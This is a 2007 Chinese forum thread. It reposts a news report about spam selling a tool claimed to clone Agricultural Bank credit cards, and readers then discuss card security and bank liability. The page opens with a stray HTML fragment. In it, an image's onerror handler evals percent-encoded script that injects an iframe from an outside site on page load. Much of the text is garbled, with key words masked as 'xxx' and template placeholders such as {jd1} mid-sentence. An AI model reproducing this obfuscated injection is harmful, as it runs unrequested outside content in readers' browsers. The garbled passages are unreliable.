xxxxx工具出现 据称可复制农行信用卡

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

2007年06月23日 11:28 eNet硅谷动力

　　eNet特约记者马剑刚记者徐志斌

　　【eNews消息】今天，记者收到一封垃圾邮件，其中内容竟称，只需要获取对方xxx的卡号和密码，就可以使用该邮件所推销的设备进行xx，从而达到从自动柜员机上取出该卡款项的非法目的。看到该邮件后，记者随即按照该垃圾邮件中所列联系方式与对方取得了联系。


　　对方自称姓张，并说是在福建。在不知道记者身份的情况下，他对记者宣称，该套设备由读写器和xx软件组成，软件可在windows98\windows2007等操作系统上安装使用，可以xx磁道加密信息，自动生成校验码进行读写磁条，然后再由读写器在任何一张xxx上进行复制。他称，只需要知道卡号和密码，就可复制xxx，并从自动柜员上取款。

　　或许是为了拉成一笔生意，该张姓人士竟然宣称可以先试用再付款。

　　在垃圾邮件中，该人士宣称任何xxx都可进行复制，因此吸引了大批人前去询问。不过，记者向他询问过究竟做过几笔生意，他却并没有做出任何表示。

　　在接触中记者还了解到，实际上，该套设备并不像张姓人士所说的那样非常“神通”。据他介绍，目前还只能xx农业银行的信用卡，而对其他银行的信用卡还无能为力。但他也同时宣称，会继续对其他xxx进行xx的研究工作。

　　值得注意的是，该人士已经知道了自己此举在触犯法律，但仍然在做。与此同时，此前也曾有类似的关于xxx写码器的报道多次出现。这对广大的xxx用户提出了警示，应注意保护好自己的个人隐私。同时，对于各大银行来说，如何保护用户的权益不受侵害显然也是最重要的事情之一。

　　随后，记者也与农行有关人士取得了联系，他们告诉记者，目前还没有接到类似情况的报告，但一定会进行追查，以保障用户的安全。
--------------------------------------------------------------------


QUOTE:93032109 于 2007-6-23 12:23 写道：
2007年06月23日 11:28 eNet硅谷动力

　　eNet特约记者马剑刚记者徐志斌

　　【eNews消息】今天，记者收到一封垃圾邮件，其中内容竟称，只需要获取对方xxx的卡号和密码，就可以 ...
银行方面必须提高安全技术能力，否则损失的最终者是银行。
--------------------------------------------------------------------
这不就是前些日子我收的那种垃圾邮件吗，我贴在自由讨论版了，还引来一真争议，可能以为我要卖吧
--------------------------------------------------------------------


QUOTE:huazhang 于 2007-6-23 16:14 写道：
这不就是前些日子我收的那种垃圾邮件吗，我贴在自由讨论版了，还引来一真争议，可能以为我要卖吧 在卡具栏目居然有人发帖要学习这方面的技术，当时我就严正告知其违法性。
--------------------------------------------------------------------


QUOTE:93032109 于 2007-6-23 12:23 写道：
2007年06月23日 11:28 eNet硅谷动力

　　eNet特约记者马剑刚记者徐志斌

　　【eNews消息】【eNews消息】今天，记者收到一封垃圾邮件，其中内容竟称，只需要获取对方xxx的卡号和密码，就可以使用该邮件所推销的设备进行xx，从而达到从自动柜员机上取出该卡款项的非法目的。看到该邮件后，记者随即按照该垃圾邮件中所列联系方式与对方取得了联系。
...

都知道了卡号和密码，剩下的当然很容易了！
--------------------------------------------------------------------


QUOTE:清河农民 于 2007-6-23 20:49 写道：
都知道了卡号和密码，剩下的当然很容易了！

我不懂技术，但我理解{jd1}不是仅仅知道卡号和密码就能够很容易地复制xxx（就像许多新闻报道里说的那样），否则的话没有密码的信用卡谁还敢用。
印象中以前看过一篇文章，介绍银行制作xxx在写磁（或者不这么叫？）是有一定规律（或者程序？）的，而这也是银行的内部{jd1}机密，不知道或者没有xx这种规律（程序？）要想xxx是不可能的，否则的话，银行内部负责卡技术的人员就能够轻易复制其他银行的卡？
或许这也是国外信用卡伪卡损失多由银行承担的原因吧。
请内行指点。
--------------------------------------------------------------------


QUOTE:93032109 于 2007-6-24 08:54 写道：
我不懂技术，但我理解{jd1}不是仅仅知道卡号和密码就能够很容易地复制xxx（就像许多新闻报道里说的那样），否则的话没有密码的信用卡谁还敢用。
印象中以前看过一篇文章，介绍银行制作xxx在写磁（或者不这么叫？）是有一定规律（或者程序？）的，而这也是银行的内部{jd1}机密，不知道或者没有xx这种规律（程序？）要想xxx是不可能的，否则的话，银行内部负责卡技术的人员就能够轻易复制其他银行的卡？
或许这也是国外信用卡伪卡损失多由银行承担的原因吧。
请内行指点。
{jd1}机密？不见得吧！嘿嘿！
--------------------------------------------------------------------


QUOTE:清河农民 于 2007-6-24 11:03 写道：
{jd1}机密？不见得吧！嘿嘿！
当然，{jd1}机密也是被人掌握的，也就存在泄密的可能性。
所以我总觉得，在类似案例中，银行总以持卡人密码泄漏为由拒绝承担任何责任是有问题的，这种损失是由于银行和持卡人的共同过错导致的，损失也应该由银行和持卡人分担，现在的新闻报道也存在误导消费者的情形。
--------------------------------------------------------------------


QUOTE:93032109 于 2007-6-24 11:30 写道：
当然，{jd1}机密也是被人掌握的，也就存在泄密的可能性。
所以我总觉得，在类似案例中，银行总以持卡人密码泄漏为由拒绝承担任何责任是有问题的，这种损失是由于银行和持卡人的共同过错导致的，损失也应该由银行和 ...
同意你的观点，不过随着信用卡行业竞争的日渐激烈，我相信持卡人真正xxx的日子也会{yt}天来临的，呵呵！
--------------------------------------------------------------------
不过，磁道信息中的某些域中的内容，虽然各行都在一定范围内可以自己定义，但还是必须要遵循国际组织的规范啊。呵呵